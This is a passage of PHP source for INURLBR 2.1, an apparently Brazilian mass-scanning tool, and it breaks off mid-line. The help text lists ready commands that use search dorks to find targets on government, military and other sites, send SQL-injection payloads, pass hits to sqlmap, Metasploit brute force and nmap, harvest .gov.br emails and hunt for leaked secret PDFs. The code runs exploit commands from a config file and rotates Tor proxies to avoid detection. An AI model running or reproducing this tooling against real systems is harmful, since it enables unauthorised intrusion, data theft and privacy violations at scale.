| . ` | __|| | | | + _| |_| |\ | | | |__| | +|_____|_| \_|_| \____/ + +{$_SESSION["c1"]}[ INFO ]{$_SESSION["c0"]}Current PHP version=>{$_SESSION["c1"]}[ " . phpversion() . "{$_SESSION["c0"]} ] +{$_SESSION["c1"]}[ INFO ]{$_SESSION["c0"]}Current script owner=>{$_SESSION["c1"]}[ " . get_current_user() . "{$_SESSION["c0"]} ] +{$_SESSION["c1"]}[ INFO ]{$_SESSION["c0"]}Current uname=>{$_SESSION["c1"]}[ " . php_uname() . "{$_SESSION["c0"]} ] +{$_SESSION["c1"]}[ INFO ]{$_SESSION["c0"]}Current pwd=>{$_SESSION["c1"]}[ " . getcwd() . "{$_SESSION["c0"]} ] +{$_SESSION["c1"]}[-]-------------------------------------------------------------------------------{$_SESSION["c0"]} + + {$_SESSION["c1"]}[*]{$_SESSION["c0"]}GRUPO INURL BRASIL - PESQUISA AVANÇADA. + {$_SESSION["c1"]}[*]{$_SESSION["c0"]}SCRIPT NAME: INURLBR 2.1 + {$_SESSION["c1"]}[*]{$_SESSION["c0"]}AUTOR: Cleiton Pinheiro + {$_SESSION["c1"]}[*]{$_SESSION["c0"]}Nick: Googleinurl + {$_SESSION["c1"]}[*]{$_SESSION["c0"]}Email: inurlbr@gmail.com + {$_SESSION["c1"]}[*]{$_SESSION["c0"]}Blog: http://blog.inurl.com.br + {$_SESSION["c1"]}[*]{$_SESSION["c0"]}Twitter: https://twitter.com/googleinurl + {$_SESSION["c1"]}[*]{$_SESSION["c0"]}Facebook: https://fb.com/InurlBrasil + {$_SESSION["c1"]}[*]{$_SESSION["c0"]}GIT: https://github.com/googleinurl + {$_SESSION["c1"]}[*]{$_SESSION["c0"]}Pastebin https://pastebin.com/u/Googleinurl + {$_SESSION["c1"]}[*]{$_SESSION["c0"]}PSS: https://packetstormsecurity.com/user/googleinurl + {$_SESSION["c1"]}[*]{$_SESSION["c0"]}YOUTUBE: http://youtube.com/c/INURLBrasil + {$_SESSION["c1"]}[*]{$_SESSION["c0"]}PLUS: http://google.com/+INURLBrasil + {$_SESSION["c1"]}[*]{$_SESSION["c0"]}Version: 2.1 + +{$_SESSION["c1"]}[-]-------------------------------------------------------------------------------{$_SESSION["c0"]} + + {$_SESSION["c1"]}[+]{$_SESSION["c16"]}NECESSARY FOR THE PROPER FUNCTIONING OF THE SCRIPT{$_SESSION["c0"]} + + {$_SESSION["c1"]}[ - ]{$_SESSION["c16"]} LIB & CONFIG{$_SESSION["c0"]} + + * PHP Version 5.4.7 + * php5-curl LIB + * php5-cli LIB + * cURL support enabled + * cURL Information 7.24.0 + * allow_url_fopen On + * permission Reading & Writing + * User root privilege, or is in the sudoers group + * Operating system LINUX + * Proxy random TOR + +{$_SESSION["c1"]}[-]-------------------------------------------------------------------------------{$_SESSION["c0"]} + + {$_SESSION["c1"]}[+]{$_SESSION["c0"]} {$_SESSION["c16"]}PERMISSION EXECUTION: chmod +x inurlbr.php{$_SESSION["c0"]} + {$_SESSION["c1"]}[+]{$_SESSION["c0"]} {$_SESSION["c16"]}INSTALLING LIB PHP-CURL: sudo apt-get install php5-curl{$_SESSION["c0"]} + {$_SESSION["c1"]}[+]{$_SESSION["c0"]} {$_SESSION["c16"]}INSTALLING LIB PHP-CLI: sudo apt-get install php5-cli{$_SESSION["c0"]} + {$_SESSION["c1"]}[+]{$_SESSION["c0"]} {$_SESSION["c16"]}sudo apt-get install curl libcurl3 libcurl3-dev php5 php5-cli php5-curl033[0m + {$_SESSION["c1"]}[+]{$_SESSION["c0"]} {$_SESSION["c16"]}INSTALLING PROXY TOR https://www.torproject.org/docs/debian.html.en{$_SESSION["c0"]} + +{$_SESSION["c1"]}[-]-------------------------------------------------------------------------------{$_SESSION["c0"]} + + {$_SESSION["c1"]}[ - ]{$_SESSION["c16"]} COMMANDS SIMPLE SCRIPT{$_SESSION["c0"]} + + +./inurlbr.php {$_SESSION["c1"]}--dork {$_SESSION["c2"]}'inurl:php?id=' {$_SESSION["c1"]}-s {$_SESSION["c2"]}save.txt {$_SESSION["c1"]}-q 1,6 {$_SESSION["c1"]}-t {$_SESSION["c2"]}1 {$_SESSION["c1"]}--exploit-get {$_SESSION["c3"]}\"?´'%270x27;\" {$_SESSION["c0"]} + +./inurlbr.php {$_SESSION["c1"]}--dork {$_SESSION["c2"]}'inurl:aspx?id=' {$_SESSION["c1"]}-s {$_SESSION["c2"]}save.txt {$_SESSION["c1"]}-q 1,6 {$_SESSION["c1"]}-t {$_SESSION["c2"]}1 {$_SESSION["c1"]}--exploit-get {$_SESSION["c3"]}\"?´'%270x27;\" {$_SESSION["c0"]} + +./inurlbr.php {$_SESSION["c1"]}--dork {$_SESSION["c2"]}'site:br inurl:aspx (id|new)' {$_SESSION["c1"]}-s {$_SESSION["c2"]}save.txt {$_SESSION["c1"]}-q {$_SESSION["c2"]}1,6 {$_SESSION["c1"]}-t {$_SESSION["c2"]}1 {$_SESSION["c1"]}--exploit-get {$_SESSION["c3"]}\"?´'%270x27;\"{$_SESSION["c0"]} + +./inurlbr.php {$_SESSION["c1"]}--dork {$_SESSION["c2"]}'index of wp-content/uploads' {$_SESSION["c1"]}-s {$_SESSION["c2"]}save.txt {$_SESSION["c1"]}-q {$_SESSION["c2"]}1,6,2,4 {$_SESSION["c1"]}-t {$_SESSION["c2"]}2 {$_SESSION["c1"]}--exploit-get {$_SESSION["c3"]}'?' {$_SESSION["c1"]}-a {$_SESSION["c2"]}'Index of /wp-content/uploads'{$_SESSION["c0"]} + +./inurlbr.php {$_SESSION["c1"]}--dork {$_SESSION["c2"]}'site:.mil.br intext:(confidencial) ext:pdf' {$_SESSION["c1"]}-s {$_SESSION["c2"]}save.txt {$_SESSION["c1"]}-q 1,6 -t 2 --exploit-get {$_SESSION["c3"]}'?' {$_SESSION["c1"]}-a {$_SESSION["c2"]}'confidencial'{$_SESSION["c0"]} + +./inurlbr.php {$_SESSION["c1"]}--dork {$_SESSION["c2"]}'site:.mil.br intext:(secreto) ext:pdf' {$_SESSION["c1"]}-s save.txt {$_SESSION["c1"]}-q {$_SESSION["c2"]}1,6 {$_SESSION["c1"]}-t {$_SESSION["c2"]}2 {$_SESSION["c1"]}--exploit-get {$_SESSION["c2"]}'?' {$_SESSION["c1"]}-a {$_SESSION["c2"]}'secreto'{$_SESSION["c0"]} + +./inurlbr.php {$_SESSION["c1"]}--dork {$_SESSION["c2"]}'site:br inurl:aspx (id|new)' {$_SESSION["c1"]}-s {$_SESSION["c2"]}save.txt {$_SESSION["c1"]}-q {$_SESSION["c2"]}1,6 {$_SESSION["c1"]}-t {$_SESSION["c2"]}1 {$_SESSION["c1"]}--exploit-get {$_SESSION["c2"]}\"?´'%270x27;\"{$_SESSION["c0"]} + +./inurlbr.php {$_SESSION["c1"]}--dork {$_SESSION["c2"]}'.new.php?new id' {$_SESSION["c1"]}-s {$_SESSION["c2"]}save.txt {$_SESSION["c1"]}-q 1,6,7,2,3 {$_SESSION["c1"]}-t {$_SESSION["c2"]}1 {$_SESSION["c1"]}--exploit-get {$_SESSION["c3"]}'+UNION+ALL+SELECT+1,concat(0x3A3A4558504C4F49542D5355434553533A3A,@@version),3,4,5;' {$_SESSION["c1"]}-a {$_SESSION["c2"]}'::EXPLOIT-SUCESS::'{$_SESSION["c0"]} + +./inurlbr.php {$_SESSION["c1"]}--dork {$_SESSION["c2"]}'new.php?id=' {$_SESSION["c1"]}-s {$_SESSION["c2"]}teste.txt {$_SESSION["c1"]}--exploit-get {$_SESSION["c3"]}?´0x27 {$_SESSION["c1"]}--command-vul {$_SESSION["c2"]}'nmap sV -p 22,80,21 {$_SESSION["c8"]}_TARGET_{$_SESSION["c2"]}'{$_SESSION["c0"]} + +./inurlbr.php {$_SESSION["c1"]}--dork {$_SESSION["c2"]}'site:pt inurl:aspx (id|q)' {$_SESSION["c1"]}-s {$_SESSION["c2"]}bruteforce.txt {$_SESSION["c1"]}--exploit-get {$_SESSION["c3"]}?´0x27 {$_SESSION["c1"]}--command-vul {$_SESSION["c2"]}'msfcli auxiliary/scanner/mssql/mssql_login RHOST={$_SESSION["c9"]}_TARGETIP_ {$_SESSION["c2"]}MSSQL_USER=inurlbr MSSQL_PASS_FILE=/home/pedr0/Documentos/passwords E'{$_SESSION["c0"]} + +./inurlbr.php {$_SESSION["c1"]}--dork {$_SESSION["c2"]}'site:br inurl:id & inurl:php' {$_SESSION["c1"]}-s {$_SESSION["c2"]}get.txt {$_SESSION["c1"]}--exploit-get {$_SESSION["c3"]}\"?´'%270x27;\" {$_SESSION["c1"]}--command-vul {$_SESSION["c2"]}'python ../sqlmap/sqlmap.py -u \"{$_SESSION["c14"]}_TARGETFULL_{$_SESSION["c2"]}\" --dbs'{$_SESSION["c0"]} + +./inurlbr.php {$_SESSION["c1"]}--dork {$_SESSION["c2"]}'inurl:index.php?id=' {$_SESSION["c1"]}-q 1,2,10 {$_SESSION["c1"]}--exploit-get {$_SESSION["c3"]}\"'?´0x27'\" {$_SESSION["c1"]}-s {$_SESSION["c2"]}report.txt {$_SESSION["c1"]}--command-vul {$_SESSION["c2"]}'nmap -Pn -p 1-8080 --script http-enum --open {$_SESSION["c8"]}_TARGET_{$_SESSION["c2"]}'{$_SESSION["c0"]} + +./inurlbr.php {$_SESSION["c1"]}--dork {$_SESSION["c2"]}'site:.gov.br email' {$_SESSION["c1"]}-s {$_SESSION["c2"]}reg.txt -q 1 --regexp '([\w\d\.\-\_]+)@([\w\d\.\_\-]+)'{$_SESSION["c0"]} + +./inurlbr.php {$_SESSION["c1"]}--dork {$_SESSION["c2"]}'site:.gov.br email (gmail|yahoo|hotmail) ext:txt' {$_SESSION["c1"]}-s {$_SESSION["c2"]}emails.txt {$_SESSION["c1"]}-m{$_SESSION["c0"]} + +./inurlbr.php {$_SESSION["c1"]}--dork {$_SESSION["c2"]}'site:.gov.br email (gmail|yahoo|hotmail) ext:txt' {$_SESSION["c1"]}-s {$_SESSION["c2"]}urls.txt {$_SESSION["c1"]}-u{$_SESSION["c0"]} + +./inurlbr.php {$_SESSION["c1"]}--dork {$_SESSION["c2"]}'site:gov.bo' {$_SESSION["c1"]}-s {$_SESSION["c2"]}govs.txt {$_SESSION["c1"]}--exploit-all-id {$_SESSION["c2"]} 1,2,6 {$_SESSION["c0"]} + +./inurlbr.php {$_SESSION["c1"]}--dork {$_SESSION["c2"]}'site:.uk' {$_SESSION["c1"]}-s {$_SESSION["c2"]}uk.txt {$_SESSION["c1"]}--user-agent {$_SESSION["c2"]} 'Mozilla/5.0 (compatible; U; ABrowse 0.6; Syllable) AppleWebKit/420+ (KHTML, like Gecko)' {$_SESSION["c0"]} + +./inurlbr.php {$_SESSION["c1"]}--dork-file {$_SESSION["c2"]}'dorksSqli.txt' {$_SESSION["c1"]}-s {$_SESSION["c2"]}govs.txt {$_SESSION["c1"]}--exploit-all-id {$_SESSION["c2"]} 1,2,6 {$_SESSION["c0"]} + +./inurlbr.php {$_SESSION["c1"]}--dork-file {$_SESSION["c2"]}'dorksSqli.txt' {$_SESSION["c1"]}-s {$_SESSION["c2"]}sqli.txt {$_SESSION["c1"]}--exploit-all-id {$_SESSION["c2"]} 1,2,6 {$_SESSION["c1"]}--irc {$_SESSION["c2"]}'irc.rizon.net#inurlbrasil' {$_SESSION["c0"]} + +./inurlbr.php {$_SESSION["c1"]}--dork {$_SESSION["c2"]}'inurl:\"cgi-bin/login.cgi\"' {$_SESSION["c1"]}-s {$_SESSION["c2"]}cgi.txt --ifurl 'cgi' --command-all 'php xplCGI.php _TARGET_' {$_SESSION["c0"]} + +./inurlbr.php {$_SESSION["c1"]}--target {$_SESSION["c2"]}'http://target.com.br' {$_SESSION["c1"]}-o {$_SESSION["c2"]}cancat_file_urls_find.txt {$_SESSION["c1"]}-s {$_SESSION["c2"]}output.txt {$_SESSION["c1"]}-t {$_SESSION["c2"]}4{$_SESSION["c0"]} + +./inurlbr.php {$_SESSION["c1"]}--target {$_SESSION["c2"]}'http://target.com.br' {$_SESSION["c1"]}-o {$_SESSION["c2"]}cancat_file_urls_find.txt {$_SESSION["c1"]}-s {$_SESSION["c2"]}output.txt {$_SESSION["c1"]}-t {$_SESSION["c2"]}4{$_SESSION["c0"]} {$_SESSION["c1"]}--exploit-get {$_SESSION["c3"]}\"?´'%270x27;\"{$_SESSION["c0"]} + +./inurlbr.php {$_SESSION["c1"]}--target {$_SESSION["c2"]}'http://target.com.br' {$_SESSION["c1"]}-o {$_SESSION["c2"]}cancat_file_urls_find.txt {$_SESSION["c1"]}-s {$_SESSION["c2"]}output.txt {$_SESSION["c1"]}-t {$_SESSION["c2"]}4{$_SESSION["c0"]} {$_SESSION["c1"]}--exploit-get {$_SESSION["c3"]}\"?pass=1234\" {$_SESSION["c1"]}-a {$_SESSION["c2"]}'hello! admin'{$_SESSION["c0"]} + +./inurlbr.php {$_SESSION["c1"]}--target {$_SESSION["c2"]}'http://target.com.br' {$_SESSION["c1"]}-o {$_SESSION["c2"]}cancat_file_urls_find_valid_cod-200.txt {$_SESSION["c1"]}-s {$_SESSION["c2"]}output.txt {$_SESSION["c1"]}-t {$_SESSION["c2"]}5{$_SESSION["c0"]} + +./inurlbr.php {$_SESSION["c1"]}--range {$_SESSION["c2"]}'200.20.10.1,200.20.10.255' {$_SESSION["c1"]}-s {$_SESSION["c2"]}output.txt {$_SESSION["c1"]}--command-all {$_SESSION["c2"]}'php roteador.php _TARGETIP_' {$_SESSION["c0"]} + +./inurlbr.php {$_SESSION["c1"]}--range-rad {$_SESSION["c2"]}'1500' {$_SESSION["c1"]}-s {$_SESSION["c2"]}output.txt {$_SESSION["c1"]}--command-all {$_SESSION["c2"]}'php roteador.php _TARGETIP_' {$_SESSION["c0"]} + +./inurlbr.php {$_SESSION["c1"]}--dork-rad {$_SESSION["c2"]}'20' {$_SESSION["c1"]}-s {$_SESSION["c2"]}output.txt {$_SESSION["c1"]}--exploit-get {$_SESSION["c2"]}\"?´'%270x27;\" {$_SESSION["c1"]}-q {$_SESSION["c2"]}1,2,6,4,5,9,7,8 {$_SESSION["c0"]} + +./inurlbr.php {$_SESSION["c1"]}--dork-rad {$_SESSION["c2"]}'20' {$_SESSION["c1"]}-s {$_SESSION["c2"]}output.txt {$_SESSION["c1"]}--exploit-get {$_SESSION["c2"]}\"?´'%270x27;\" {$_SESSION["c1"]}-q {$_SESSION["c2"]}1,2,6,4,5,9,7,8 {$_SESSION["c0"]} --pr + +./inurlbr.php {$_SESSION["c1"]}--dork-file {$_SESSION["c2"]}'dorksCGI.txt' {$_SESSION["c1"]}-s {$_SESSION["c2"]}output.txt {$_SESSION["c1"]}-q {$_SESSION["c2"]}1,2,6,4,5,9,7,8 {$_SESSION["c0"]} --pr --shellshock + +./inurlbr.php {$_SESSION["c1"]}--dork-file {$_SESSION["c2"]}'dorks_Wordpress_revslider.txt' {$_SESSION["c1"]}-s {$_SESSION["c2"]}output.txt {$_SESSION["c1"]}-q {$_SESSION["c2"]}1,2,6,4,5,9,7,8 {$_SESSION["c1"]}--sub-file {$_SESSION["c2"]}'xpls_Arbitrary_File_Download.txt' {$_SESSION["c0"]} + {$_SESSION["c1"]}[-]-------------------------------------------------------------------------------{$_SESSION["c0"]} + + {$_SESSION["c1"]}[ INFO ]{$_SESSION["c16"]}It it also useful to know the full path to the PHP binary on your computer. {$_SESSION["c0"]} + {$_SESSION["c1"]}[ INFO ]{$_SESSION["c16"]}There are several ways of finding out. For Ubuntu and Mac OS X the path is '/usr/bin/php'.{$_SESSION["c0"]} + + googleinurl@inurlbr:~$ which php + /usr/bin/php + googleinurl@inurlbr:~/cli$ whereis php + php: /usr/bin/php /usr/share/php /usr/share/man/man1/php.1.gz + googleinurl@inurlbr:~/cli$ type -a php + php is /usr/bin/php + +{$_SESSION["c1"]}[-]-------------------------------------------------------------------------------{$_SESSION["c0"]} + + +"); +} + +################################################################################ +#BANNER HOME#################################################################### + +function __bannerLogo() { + + $vis = ($_SESSION["os"] != 1) ? ("\033[1;3" . rand(1, 10) . "m") : NULL; + + return (!is_null($_SESSION['config']['no-banner']) ? NULL : system("command clear") . " +{$vis} _____ {$_SESSION["c1"]} .701F. .iBR. .7CL. .70BR. .7BR. .7BR'''Cq. .70BR. {$_SESSION["c12"]}.1BR'''Yp, .8BR'''Cq. +{$vis} (_____){$_SESSION["c1"]} 01 01N. C 01 C 01 .01. 01 {$_SESSION["c3"]} 01 Yb 01 .01. +{$vis} (() ()){$_SESSION["c1"]} 01 C YCb C 01 C 01 ,C9 01 {$_SESSION["c12"]} 01 dP 01 ,C9 +{$vis} \ / {$_SESSION["c1"]} 01 C .CN. C 01 C 0101dC9 01 {$_SESSION["c3"]} 01'''bg. 0101dC9 +{$vis} \ / {$_SESSION["c1"]} 01 C .01.C 01 C 01 YC. 01 , {$_SESSION["c12"]} 01 .Y 01 YC. +{$vis} /=\ {$_SESSION["c1"]} 01 C Y01 YC. ,C 01 .Cb. 01 ,C {$_SESSION["c3"]} 01 ,9 01 .Cb. +{$vis} [___] {$_SESSION["c1"]} .J01L. .JCL. YC .b0101d'. .J01L. .J01. .J01010101C {$_SESSION["c12"]}.J0101Cd9 .J01L. .J01./ {$_SESSION["c1"]}2.1\n +{$_SESSION["c1"]}__[ ! ] Neither war between hackers, nor peace for the system. +{$_SESSION["c1"]}__[ ! ] {$_SESSION["c16"]}http://blog.inurl.com.br +{$_SESSION["c1"]}__[ ! ] {$_SESSION["c16"]}http://fb.com/InurlBrasil +{$_SESSION["c1"]}__[ ! ] {$_SESSION["c16"]}http://twitter.com/@googleinurl{$_SESSION["c0"]} +{$_SESSION["c1"]}__[ ! ] {$_SESSION["c16"]}http://github.com/googleinurl{$_SESSION["c0"]} +{$_SESSION["c1"]}__[ ! ] {$_SESSION["c16"]}Current PHP version::[ {$_SESSION["c1"]}" . phpversion() . " {$_SESSION["c16"]}]{$_SESSION["c0"]} +{$_SESSION["c1"]}__[ ! ] {$_SESSION["c16"]}Current script owner::[ {$_SESSION["c1"]}" . get_current_user() . " {$_SESSION["c16"]}]{$_SESSION["c0"]} +{$_SESSION["c1"]}__[ ! ] {$_SESSION["c16"]}Current uname::[ {$_SESSION["c1"]}" . php_uname() . " {$_SESSION["c16"]}]{$_SESSION["c0"]} +{$_SESSION["c1"]}__[ ! ] {$_SESSION["c16"]}Current pwd::[ {$_SESSION["c1"]}" . getcwd() . " {$_SESSION["c16"]}]{$_SESSION["c0"]} +{$_SESSION["c1"]}__[ ! ] {$_SESSION["c2"]}Help: php inurlbr.php --help{$_SESSION["c0"]} +{$_SESSION["c1"]}------------------------------------------------------------------------------------------------------------------------{$_SESSION["c0"]} +"); +} + +################################################################################ +#CHANGE PROXY FUNCTION IN TIME################################################## +################################################################################ + +function __timeValueChangeProxy($sec = NULL) { + + return not_isnull_empty($sec) ? date('Y-m-d H:i:s', strtotime(date('Y-m-d H:i:s') . " + {$sec} second")) : NULL; +} + +function __timeSecChangeProxy($list_proxy) { + + if ($_SESSION["config"]["time_change_proxy"] < date('Y-m-d H:i:s') && !is_null($list_proxy)) { + $proxy = $list_proxy[rand(0, count($list_proxy) - 1)]; + echo ("[ INFO ][PROXY] CHANGE: {$proxy} - " . date('Y-m-d H:i:s') . "\n"); + $_SESSION["config"]["proxy"] = $proxy; + $_SESSION["config"]["time_change_proxy"] = __timeValueChangeProxy($_SESSION["config"]["time-proxy"]); + __plus(); + } +} + +################################################################################ +#GET STATUS HTTP URL############################################################ +################################################################################ + +function __getStatusURL($url) { + + if (!is_null($url) && !empty($url)) { + return FALSE; + } + __plus(); + $status = array(); + $curl = curl_init($url); + curl_setopt($curl, CURLOPT_URL, $url); + $resultadoCurl = curl_exec($curl); + if ($resultadoCurl) { + preg_match_all('(HTTP.*)', $resultadoCurl, $status['http']) . __plus(); + + return (!is_null($status['http']) && !empty($status['http'])) ? TRUE : FALSE; + } + unset($curl); + return FALSE; +} + +################################################################################ +#BEEP ########################################################################## +################################################################################ + +function __cli_beep() { + + echo ($_SESSION['config']['beep']) ? "\x07" : NULL; +} + +################################################################################ +#SETUP TO RUN COMMANDS IN ID#################################################### +################################################################################ + +function __configExploitsExec($id, $alvo) { + + $resultadoURL = __configExploitsList(); + $final = array(); + $id_ = ((strstr($id, ','))) ? explode(',', $id) : array($id); // MULTIPLAS ID'S EXPLOITS + + foreach ($resultadoURL as $key) { + $__key = strstr($key, '::') ? explode("\n", $key) : NULL; + $final = is_array($__key) ? array_merge($final, $__key) : $final; + } + foreach ($id_ as $value) { + $final__ = isset($value) && !empty($value) ? explode('::', $final[$value]) : NULL; + $barra = "{$_SESSION["c1"]}[ INFO ]|___{$_SESSION["c0"]}\n"; + $barra.= " {$_SESSION["c1"]}|"; + print !is_null($final__) ? "\n{$barra}[ EXPLOIT ]:: {$final__[0]} /[ ID ]:: {$value} /[ COMMAND ]:: " . $final__[1] : NULL; + echo "\n ------------------------------------------------------------------------------------------------------------------"; + print !is_null($final__) ? __command($final__[1], $alvo) : NULL; + __plus(); + } +} + +################################################################################ +#LIST COMMANDS FILE exploits.conf############################################### +################################################################################ + +function __configExploitsList($op = NULL) { + + $resultadoURL = array_unique(array_filter(explode("\n", file_get_contents($_SESSION['config']['file_exploit_conf'])))); + + if (!is_null($op)) { + echo __bannerlogo(); + echo $_SESSION["c11"]; + echo "[*]__\n"; + echo " |MENU EXPLOITS:"; + echo "\n |ID TYPE_EXPLOIT::EXPLOIT_COMMAND"; + echo "\n |FILE CONFIG: {$_SESSION['config']['file_exploit_conf']}"; + echo "\n |USE COMMAND EX: --exploit-id '1,2,3,19'"; + echo "\n-----------------------------------------------------------------------------------------------------------------------\n"; + print_r($resultadoURL); + __getOut("{$_SESSION['config']['line']}\n"); + } else { + return is_array($resultadoURL) ? $resultadoURL : NULL; + } +} + +################################################################################ +#INSERT VALUES COMMANDS FILE exploits.conf###################################### +################################################################################ + +function __configExploitsADD($valor = NULL) { + + if (!is_null($valor) && preg_match("(([a-zA-Z0-9-].*)(::.*)([a-zA-Z0-9-]))", $valor)) { + echo __bannerlogo(); + echo $_SESSION["c11"]; + echo "[*]__\n"; + echo " |MENU EXPLOITS:"; + echo "\n |ID TYPE_EXPLOIT::EXPLOIT_COMMAND"; + echo "\n |STATUS: ADDED VALUE WITH SUCCESS!"; + echo "\n |VALUE: {$valor}"; + echo "\n-----------------------------------------------------------------------------------------------------------------------\n"; + __saveValue($_SESSION['config']['file_exploit_conf'], __crypt($valor), 2); + print_r(__configExploitsList()); + __getOut("{$_SESSION['config']['line']}\n"); + } else { + + __getOut(__bannerLogo() . "{$_SESSION["c1"]}[ INFO ]{$_SESSION["c0"]}{$_SESSION["c2"]}INCORRECT FORMAT! / Format TYPE_EXPLOIT::EXPLOIT_COMMAND / ex: NMAP::nmap -sV _TARGET_\n"); + } +} + +################################################################################ +#CHECK CMS###################################################################### +################################################################################ + +function __SimpleCheckCMS($html) { + + $cms['XOOPS CMS IDENTIFIED'] = ' $valor) { + + __plus(); + if (strstr($html, $cms[$campo])) { + return(" {$campo} "); + } + } + return "0xUNIDENTIFIED"; +} + +################################################################################ +#REPLACE THE SECURITIES URL##################################################### +################################################################################ + +function __replace($exploit, $url) { + + $exploit_ = strstr($_SESSION['config']['replace'], '[INURL]') ? + $exploit : + __getOut(__bannerLogo() . "{$_SESSION["c1"]}[ INFO ]{$_SESSION["c0"]}{$_SESSION["c16"]}DEFINE THE CORRECT REPLACE COMMAND ex: --replace 'index.php?id=[INURL]index.php?id=1666+and+(SELECT+user+from+mysql.user+limit+0,1)=1'{$_SESSION["c0"]}\n"); + $exploit = explode("[INURL]", $exploit_); + $exploit[0] = (isset($exploit[0]) && !is_null($exploit[0])) ? + $exploit[0] : + __getOut(__bannerLogo() . "{$_SESSION["c1"]}[ INFO ]{$_SESSION["c0"]}{$_SESSION["c16"]}DEFINE THE CORRECT REPLACE COMMAND ex: --replace 'index.php?id=[INURL]index.php?id=1666+and+(SELECT+user+from+mysql.user+limit+0,1)=1'{$_SESSION["c0"]}\n"); + $exploit[1] = (isset($exploit[0]) && !is_null($exploit[1])) ? + $exploit[1] : + __getOut(__bannerLogo() . "{$_SESSION["c1"]}[ INFO ]{$_SESSION["c0"]}{$_SESSION["c16"]}DEFINE THE CORRECT REPLACE COMMAND ex: --replace 'index.php?id=[INURL]index.php?id=1666+and+(SELECT+user+from+mysql.user+limit+0,1)=1'{$_SESSION["c0"]}\n"); + return str_replace($exploit[0], $exploit[1], $url); +} + +################################################################################ +#REMOVE VALUE URL############################################################### +################################################################################ + +function __remove($value, $url) { + + return str_replace($value, NULL, $url); +} + +################################################################################ +#VALID MENU OPTIONS############################################################# +################################################################################ + +function __validateOptions($opArray, $validar, $op = NULL) { + + if (empty($validar) || empty($opArray)) { + return FALSE; + } + + $array = explode(',', $opArray); + if (is_null($op)) { + $busca = explode(',', $validar); + for ($i = 0; $i <= count($busca); $i++) { + if (in_array($busca[$i], $array)) { + return TRUE; + } + } + } else { + for ($i = 0; $i <= count($array); $i++) { + if (strstr($validar, $array[$i])) { + return TRUE; + } + } + } + return FALSE; +} + +################################################################################ +#VALIDATE OPERATING SYSTEM AND COLOR SYSTEM##################################### +################################################################################ + +function __OS() { + + $sistema = strtoupper(PHP_OS); + if (substr($sistema, 0, 3) == "WIN") { + $i = 0; + system("cls"); + $_SESSION["os"] = 1; + while ($i <= 17) { + $_SESSION["c{$i}"] = NULL; + $i++; + } + } else { + system("command clear"); + //DEFINING COLORS + $_SESSION["c0"] = "\033[0m"; // END OF COLOR + $_SESSION["c1"] = "\033[1;37m"; // WHITE + $_SESSION["c2"] = "\033[1;33m"; // YELLOW + $_SESSION["c3"] = "\033[1;31m"; // RED LIGHT + $_SESSION["c4"] = "\033[32m"; // GREEN + $_SESSION["c5"] = "\033[1;32m"; // GREEN LIGHT + $_SESSION["c6"] = "\033[0;35m"; // PURPLE + $_SESSION["c7"] = "\033[1;30m"; // DARK GREY + $_SESSION["c8"] = "\033[0;34m"; // BLUE + $_SESSION["c9"] = "\033[0;37m"; // LIGHT GREY + $_SESSION["c10"] = "\033[0;33m"; // BROWN + $_SESSION["c11"] = "\033[1;35m"; // LIGHT PURPLE + $_SESSION["c12"] = "\033[0;31m"; // RED + $_SESSION["c13"] = "\033[1;36m"; // LIGHT CYAN + $_SESSION["c14"] = "\033[0;36m"; // CIANO + $_SESSION["c15"] = "\033[1;34m"; // LIGHT BLUE + $_SESSION["c16"] = "\033[02;31m"; // DARK RED + } +} + +################################################################################ +#SAVE URL VULNERABLE COMMAND ECHO >> FILE###################################### +################################################################################ + +function __saveValue($arquivo, $valor, $op = NULL) { + + $path = !not_isnull_empty($_SESSION['config']['save-as']) ? $_SESSION['config']['out_put_paste'] : NULL; + echo ($op == 1) ? + "\n{$_SESSION["c1"]}|_[ + ]{$_SESSION["c7"]} VALUE SAVED IN THE FILE::{$_SESSION["c9"]} {$arquivo}{$_SESSION["c0"]}" : NULL; + file_put_contents(($op == 2) ? $arquivo : $path . $arquivo, "{$valor}\n", FILE_APPEND); +} + +################################################################################ +#CAPTURE ID KEY TO SEARCH LYCOS MAKE############################################ +################################################################################ + +function __getIdSearchLycos($html) { + + $match = NULL; + preg_match_all("(val.*)", $html, $match); + return (str_replace(');', '', str_replace('val(', '', str_replace("'", '', $match[0][4])))); +} + +################################################################################ +#RENEW IP NETWORK TOR########################################################### +################################################################################ + +function __renewTOR() { + + system("[ -z 'pidof tor' ] || pidof tor | xargs sudo kill -HUP;"); + $request__ = __request_info('http://dynupdate.no-ip.com/ip.php', $_SESSION["config"]["proxy"]); + __plus(); + echo "\n{$_SESSION["c1"]}[ INFO ]{$_SESSION["c16"]}[ IP NETWORK TOR RENEWED ]::: {$_SESSION["c1"]}[ {$request__['corpo'] } ]\n{$_SESSION["c0"]}"; + /* https://pt.wikipedia.org/wiki/Pidof + * pidof é um utilitário Linux que encontra o ID de um programa em execução. + * Note que o próprio nome é a junção dos termos pid, que significa identidade + * de um processo e of que significa de. Portanto pidof quer dizer identidade + * de processo de... + * O equivalente no Solaris é pgrep. pidof firefox-bin O commando acima retorna + * o pid do processo que está executando firefox-bin. + * Pode-se combinar o commando 'pidof' com o commando kill dessa forma: + * kill -9 $(pidof firefox-bin) pidof é simplesmente uma ligação simbólica + * para o programa killall5,que está localizado em /sbin. + */ +} + +################################################################################ +#This function will validate emails############################################# +################################################################################ + +function __validateEmail($email) { + + $conta = "^[a-zA-Z0-9\._-]+@"; + $domino = "[a-zA-Z0-9\._-]+."; + $extensao = "([a-zA-Z]{2,4})$"; + + $pattern = $conta . $domino . $extensao; + + return (ereg($pattern, $email)) ? TRUE : FALSE; +} + +################################################################################ +#This function will validate URLS############################################### +################################################################################ + +function __validateURL($url) { + + if (preg_match("#\b(http[s]?://|ftp[s]?://){1,}?([-a-zA-Z0-9\.]+)([-a-zA-Z0-9\.]){1,}([-a-zA-Z0-9_\.\#\@\:%_/\?\=\~\-\//\!\'\(\)\s\^\:blank:\:punct:\:xdigit:\:space:\$]+)#si", $url)) { + return TRUE; + } else { + return FALSE; + } +} + +################################################################################ +#This function will filter custom values######################################## +################################################################################ + +function __extractRegCustom($html, $url_) { + + $matches = NULL; + __plus(); + preg_match_all("#\b{$_SESSION['config']['regexp-filter']}#i", $html, $matches); + + echo "{$_SESSION["c1"]}{$_SESSION['config']['line']}{$_SESSION["c0"]}\n"; + echo "{$_SESSION["c1"]} |_[ URL ] {$_SESSION["c0"]}=>{$_SESSION["c9"]} {$url_} {$_SESSION["c0"]}\n"; + + $matches_ = array_filter(array_unique(array_unique($matches[0]))); + foreach ($matches_ as $valor) { + + if (not_isnull_empty($valor)) { + + echo "{$_SESSION["c1"]}__[ + ] {$_SESSION["c0"]}[\033[01;31m 